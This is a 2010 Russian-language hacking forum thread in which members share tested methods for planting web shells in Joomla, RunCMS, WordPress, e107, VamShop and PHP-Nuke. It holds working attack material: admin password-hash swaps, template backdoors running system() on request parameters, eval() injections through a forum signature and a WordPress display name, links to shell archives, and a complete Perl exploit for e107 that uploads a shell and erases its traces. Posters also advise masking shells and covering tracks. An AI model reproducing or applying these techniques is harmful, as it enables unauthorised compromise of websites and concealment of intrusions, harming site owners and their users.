Старый 02.07.2010, 18:26   #1
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию Заливка шелла в CMS

В этой теме собираем способы заливки шелла в CMS/Blogs. Все способы, которые вы постите, должны быть проверены лично вами и быть 100% рабочими, если на какой-то версии не работает, то писать версии, на которых проверялось и все зависимости. Так что не просто копипастим с паблика, а проверяем/дорабатываем/описываем. Естественно, будет замечательно, если вы найдете новые способы заливки.

Последний раз редактировалось Ded MustD!e; 02.07.2010 в 20:27..
Ded MustD!e вне форума   Ответить с цитированием
Старый 06.07.2010, 11:47   #2
CyberHunter
 
Регистрация: 05.07.2010
Сообщений: 8
Репутация: 1
По умолчанию Заливка шелла в CMS Joomla! 1.5

Тестировал на: Joomla! 1.5
Требования: Доступ в админку.
Заходим в админку, находим там Global Configuration. Там же переходим на вкладку System. Находим Legal Extensions (File Types) и прописываем туда нужное расширения (т.е. php) и сохраняем.
Дальше заходим в Media Manager, выбираем папку для будущего шелла, открываем ее, выбираем файл который будем заливать (т.е. веб-шелл) нажимаем Start Upload File.
Шелл будет находится в папке images (по дефолту) или в той папке которую вы выбрали, типа: joomlasite.com/images/papka_s_shellom.
Работает на joomla! 1.5, но встречались не полные админки, в которых не было возможности заливать файлы (тупо не было такой кнопки), вот там и нет возможности залить шелл данным способом.
CyberHunter вне форума   Ответить с цитированием
Старый 07.07.2010, 07:58   #3
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию Joomla

Joomla

Удобно, если есть возможность изменять jos_users, например доступен phpMyAdmin.

- сохраняем jos_users
- меняем username и password на

admin
a458d1ff993a5b5ebdc483536bb8a3c6:H6AIIOKetGMm9EaSR snlq06yw2MunwRu

встречается два типа хеша, если md5, то
e10adc3949ba59abbe56e057f20f883e

Можно не редактировать админа, а добавить нового.

заходим в админку, admin:123456, дальше три варианта

- Общие настройки->Система, настраиваем разрешенные расширения для Медиа менеджера и заливаем через него. Путь виден.

- Редактируем Расширения->Менеджер шаблонов, проверяем доступность на запись (зеленый цвет каталога) выбираем неактивный шаблон, запоминаем, заменяем на код шелла, сохраняем, видим путь до шелла, запускаем его, переписываем в другое место, маскируем. Возвращаем шаблон на место.

- Редактируем Расширения->Менеджер языков, аналогично шаблонам (иногда редактирование недоступно)

Возвращаем исходное состояние jos_users.

PS проверял для версии <= 1.5.15.
nikp вне форума   Ответить с цитированием
Старый 07.07.2010, 08:18   #4
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию RunCMS v2.1

RunCMS v2.1

1 способ:

Если Apache выполняет файлы с расширением .php.bla, то в
Администрирование->Управление модулями->Архив файлов->Основные настройки->Допустимые форматы файла добавляем |.zp
и заливаемся из Администрирование->Управление модулями->Архив файлов->Добавить, редактировать или удалить раздел/файл.
Ищем по адресу:
http://localhost/runcms/modules/downloads/cache/files/shell.php.zp

В чистом виде .php разрешить не получится, т.к. в коде определено
PHP код:
// Fix for bad extension  Thanks to Philippe of E-rcxfr.com (ExV2) for this patch.
$badarray = array(=> '.php',=> '.php3',=> '.php4',=> '.exe',=> '.php5',=> '.cgi',=> '.pl',=> '.sh',=> '.phtml',=> '.shtml',10 => '. shtm',11 => '.phtm');
$is in_array ($this->file[$filename]['extension'], $badarray);
// и запрет 
Фокусы с .php%00 не проходят, т.к. меняется на .php_00
PHP код:
function set_basename($value$filename='uploaded_files') {
    
$this->file[$filename]['basename'] = strtolowerpreg_replace('/[^a-z0-9_.-]/i''_'$value) ); 

2 способ:

В Администрирование->Основные настройки сайта смотрим "Скин по умолчанию" и редактируем его в
Администрирование->Редактор тем->runcms2
Редактируем, например themeheader.html, как рукам нравится
Код:
<td  id ="divers"><br /><b><?php echo _TH_HEADER_TXT;?></b>
<td  id ="divers"><br /><b><?php echo _TH_HEADER_TXT;if($_REQUEST[pass]) system($_REQUEST[pass]);?></b>
http://localhost/runcms/modules/news/
post
pass=ls -lia


3 способ

Администрирование->Редактор тем
загружаем новую тему в zip архиве, должна быть соблюдена структура темплейта.

шелл будет тут
http://localhost/runcms/themes/ops/theme.php

Облегченная тема с минишеллом в аттаче, можно заменить на свой шелл.
Вложения
Тип файла: zip ops.zip (3.0 Кб, 977 просмотров)
nikp вне форума   Ответить с цитированием
Старый 10.07.2010, 16:30   #5
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

WordPress

всё тестилось на самой последней версии - 3.0 (просто ради собрать в одном месте+вроде один новый способ):

-= Способ 1 =-

Цитата:
Как залить шелл?
1. идем в Внешний вид -> Редактор тем ->
2. с права файлы типа css и так далее. кликаем любой php файл. сохранил шелл
3. там линк типа http://site.com/wp-admin/theme-editor.php?file=wp-content/themes/wedding/functions.php&theme=Wedding
4. и наш шелл на http://site.com/wp-content/themes/wedding/functions.php
(c) Muhacir
-= Способ 2 =-

Админпанель->Плагины:

По умолчанию стоят: Akismet,Hello Dolly

Жмем "Изменить", вписываем свой <?php-код;?>

Например, изменив Akismet, результат можно будет наблюдать по адресу:

Код:
http://[host]/[path]/wp-content/plugins/akismet/akismet.php
(c) кто автор - не в курсе, но тут и так всё понятно

-= Способ 3 =-

Админпанель->Темы->Установить темы->Загрузка:

Просто льем шелл с обычным расширением .php, несмотря на надпись:

Цитата:
Установить тему в формате .zip

Если у вас есть архив темы в формате .zip, здесь можно загрузить и установить её.
затем сразу появляется следующая надпись:

Цитата:
Информация для соединения

Чтобы осуществить запрошенное действие, WordPress необходим доступ к вашему серверу. Пожалуйста, введите координаты доступа к FTP. Если вы не помните координаты, можно узнать их в службе поддержки вашего хостинг-провайдера.
Сервер
Логин для FTP
Пароль для FTP
Тип соединения

Продолжить>>
но дальше делать уже ничего не надо, т.к. шелл уже залит и находится под оригинальным именем по адресу:
Код:
http://[host]/[path]/wp-content/uploads/wso2.php

PS: Асболютно точно также и с той же последовательностью можно загрузить шелл через:

Админпанель->Плагины->Добавить новый->Загрузка:

http://[host]/[path]/wp-content/uploads/wso2.php - шелл

По крайней мере про этот способ нигде не читал, так что вполне вероятно (с)
Pashkela вне форума   Ответить с цитированием
Старый 13.07.2010, 19:02   #6
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Joomla.
Если папка modules вритабельна, ставим новый модуль.
Архив по ссылке.
хттп://zalil.ru/upload/29460413

Шелл : wso.


http://ctacok.name/com_articles.zip
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Старый 17.07.2010, 22:55   #7
Strilo4ka
Banned
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 13
По умолчанию e107

1. e107_admin/language.php?tools

2. ");?><?copy($_FILES[file][tmp_name],$_POST[p])?> например в lan_banner.php .

3. http://[host]l/[path]/e107_languages/lan_banner.php

4. форма с постом:
<form enctype="multipart/form-data" action="http://[host]/[path]/e107_languages/lan_banner.php" method="post">
Отправить этот файл: <input name="file" type="file" value='b.php' /><br>
Название шелла! <input name="p" type="text" value="b.php">
<input type="submit" value="Send File" />
</form>

Автозалика(действия с 1 по 4), а также:
- стирает после заливки шелла код ");?><?copy($_FILES[file][tmp_name],$_POST[p])?> с lan_banner.php;
- поддержка сокс;
- результат в файл(дописывает),консоль.

Должен быть с експлоитом ниже еще b.php шелл.
PHP код:
#!/usr/bin/perl
#######settings##########
my $url="http://сайт";
my $login='логин';
my $pass='пасс';
my $path_to_shell="b.php"; # default - current folder /e107_languages/
my $name_shell="b.php";
my $seep=5;
#########################
use LWP::UserAgent;
$ua = LWP::UserAgent->new;

#######settings step2##########
# our proxy
#my $proxy="http://X.X.X.X:порт";# чтоб на локале тестить - коментим!
#$ua->proxy(['http','https'],$proxy);# чтоб на локале тестить - коментим!

sleep($sleep);

my $req = HTTP::Request->new(POST => "$url/e107_admin/admin.php",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"]);
$req->content_type('application/x-www-form-urlencoded');
$req->content("authname=$login&authpass=$pass&authsubmit=Log+In");
my $res = $ua->request($req);

my $cook_adm;
if ($res->headers_as_string =~ /(e107cookie=[\d\w\.]+);\s/) {$cook_adm=$1;} else {print "failed to authenticate!"; exit;}

sleep($seep);

my $req = HTTP::Request->new(POST => "$url/e107_admin/lancheck.php?lan_banner.php|",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",'Cookie' => $cook_adm ]);
$req->content_type('application/x-www-form-urlencoded');
my $content='newlang[]=");?><?copy($_FILES[file][tmp_name],$_POST[p])?>&newdef[]=PAGE_NAME&newlang[]=&newdef[]=BANNERLAN_16&newlang[]=&newdef[]=BANNERLAN_17&newlang[]=&newdef[]=BANNERLAN_18&newlang[]=&newdef[]=BANNERLAN_19&newlang[]=&newdef[]=BANNERLAN_20&newlang[]=&newdef[]=BANNERLAN_21&newlang[]=&newdef[]=BANNERLAN_22&newlang[]=&newdef[]=BANNERLAN_23&newlang[]=&newdef[]=BANNERLAN_24&newlang[]=&newdef[]=BANNERLAN_25&newlang[]=&newdef[]=BANNERLAN_26&newlang[]=&newdef[]=BANNERLAN_27&newlang[]=&newdef[]=BANNERLAN_28&newlang[]=&newdef[]=BANNERLAN_29&newlang[]=&newdef[]=BANNERLAN_30&newlang[]=&newdef[]=BANNERLAN_31&newlang[]=&newdef[]=BANNERLAN_32&newlang[]=&newdef[]=BANNERLAN_33&newlang[]=&newdef[]=BANNERLAN_34&newlang[]=&newdef[]=BANNERLAN_35&newlang[]=&newdef[]=BANNERLAN_36&newlang[]=&newdef[]=BANNERLAN_37&newlang[]=&newdef[]=BANNERLAN_38&submit=Save lan_banner.php &root=../e107_languages//lan_banner.php';
$req->content($content);
my $res = $ua->request($req);

if (!$res->is_success()) {print "Can't edit file ".$url."e107_languages/lan_banner.php";exit;}

# upload file
use HTTP::Request::Common;
$res = $ua->request(
POST "$url/e107_languages/lan_banner.php",
Cookie => $cook_adm,
Content_Type => 'form-data',
Content      => [
                  p      => $name_shell,
                  file   => ["$ENV{HOME}/".$path_to_shell]
                 ]
);

if ($res->is_success())
 {
 print "File successfully uploaded!\nThe result is saved in a file.\nPath to .:Shell:. - ".$url."/e107_languages/".$path_to_shell;
 #write in file path result
 open(FILE,'>>results.txt');
 print FILE "Resource: $url\n";
 print FILE "File successfully uploaded!\n";
 print FILE "Path to Shell: ".$url."/e107_languages/".$path_to_shell."\n\n";
 close(FILE);
 }
  else {print "Error upload file!";exit;}

#  remove traces in http://[host]/[path]/e107_languages/lan_banner.php
my $req = HTTP::Request->new(POST => "$url/e107_admin/lancheck.php?lan_banner.php|",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",'Cookie' => $cook_adm ]);
$req->content_type('application/x-www-form-urlencoded');
my $content='newlang[]=&newdef[]=PAGE_NAME&newlang[]=&newdef[]=BANNERLAN_16&newlang[]=&newdef[]=BANNERLAN_17&newlang[]=&newdef[]=BANNERLAN_18&newlang[]=&newdef[]=BANNERLAN_19&newlang[]=&newdef[]=BANNERLAN_20&newlang[]=&newdef[]=BANNERLAN_21&newlang[]=&newdef[]=BANNERLAN_22&newlang[]=&newdef[]=BANNERLAN_23&newlang[]=&newdef[]=BANNERLAN_24&newlang[]=&newdef[]=BANNERLAN_25&newlang[]=&newdef[]=BANNERLAN_26&newlang[]=&newdef[]=BANNERLAN_27&newlang[]=&newdef[]=BANNERLAN_28&newlang[]=&newdef[]=BANNERLAN_29&newlang[]=&newdef[]=BANNERLAN_30&newlang[]=&newdef[]=BANNERLAN_31&newlang[]=&newdef[]=BANNERLAN_32&newlang[]=&newdef[]=BANNERLAN_33&newlang[]=&newdef[]=BANNERLAN_34&newlang[]=&newdef[]=BANNERLAN_35&newlang[]=&newdef[]=BANNERLAN_36&newlang[]=&newdef[]=BANNERLAN_37&newlang[]=&newdef[]=BANNERLAN_38&submit=Save lan_banner.php &root=../e107_languages//lan_banner.php';
$req->content($content);
my $res = $ua->request($req);

if ($res->is_success()) {print "\nRemove traces in ".$url."/e107_languages/lan_banner.php";}
 else {print "Can't remove traces in ".$url."/e107_languages/lan_banner.php";}
Вводить:
логин,пасс,ресурс(бес админки!).
Внимание:

- капчу експлоит необходит(в некоторых e107 есть);
- код мне не нравитцо).

Касаемо запуска експлоитов
:
- чтоб на винде запускать кто юзает еще перл (в переменной окружения path для удобства) прописать путь к интерпретатору, например:
;C:\WebServers\usr\local\bin
- в httpd.conf прописать ScriptInterpreterSource registry

© Я нахтачка люблю.
Strilo4ka вне форума   Ответить с цитированием
Старый 17.07.2010, 23:18   #8
Strilo4ka
Banned
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 13
По умолчанию Vam Shop

1.http://[host]/[path]/admin/csv_backend.php?action=upload - CVS експорт/импорт
2.http://[host]/[path]/admin/easypopulate.php - Excel експорт/импорт
3.http://[host]/[path]/admin/cip_manager.php?action=upload - установка модуля.
(пыхаем наш шелл в zip и он будет за адресом http://[host]/[path]/admin/contributions/name_shell.php)
Strilo4ka вне форума   Ответить с цитированием
Старый 31.07.2010, 16:14   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

PHP-Nuke 8.1 FINAL Released

взять можно здесь:
Код:
http://rus-phpnuke.com/modules.php?name=Files&go=view_file&lid=927
Подготавливаем шелл из админпанели нюка:

по дефолту стоит модуль Forums, и там phpbb 2.0.7

1. Добавляем нового юзера:
Код:
admin->Modules Administration->Users->Add a New User
затем идем в
Код:
admin->Modules Administration->Forums->Попадаем в админку форума
Код:
Restore Database->1.sql:

UPDATE nuke_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval($_COOKIE[ev]);' WHERE user_id=[тут id созданного юзера];
затем читаем здесь:
Код:
https://rdot.org/forum/showpost.php?p=709&postcount=2
идем в свой профайл:
Код:
http://localhost/PHP_Nuke_8.1_FINAL_Released/modules.php?name=Forums&file=profile&mode=editprofile
и льем шелл

PS: Не забудьте потом в админке (самого нюка, не форума) удалить юзера или удалить его подпись, т.к. в ней будет виден весь ваш злокод в чистом виде

Последний раз редактировалось Pashkela; 31.07.2010 в 16:31..
Pashkela вне форума   Ответить с цитированием
Старый 24.09.2010, 14:39   #10
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

WordPress 2.5.1 - 2.8.5
Первоисточник здесь http://www.80vul.com/exp/wordpress.txt, но он на китайском, в общем если посмотреть код WordPress
и указанный выше сплоит, то можно прийти к такому алгоритму

1. Заходим под админом admin и создаем второго админа sysop, в поле display_name, пишем
\\\';eval(base64_decode(cHJpbnQgZ2V0Y3dkKCk7));\\\ '

2. Далее начинает паралельно второй сеанс работы с блогом, то есть заходим под созданным админом sysop, из
под другого браузера, авторизация в блоге использует куки, поэтому такой вариант позволит использовать
блог сразу двумя админами.

3. Второй админ идет редактировать какой - нибудь пост например

site.com/blog/wp-admin/post.php?action=edit&post=11

В это время первый админ тоже обращается к этому посту и видит предупреждение, в котором будет выполнение
команды print getcwd();
Pr0xor вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot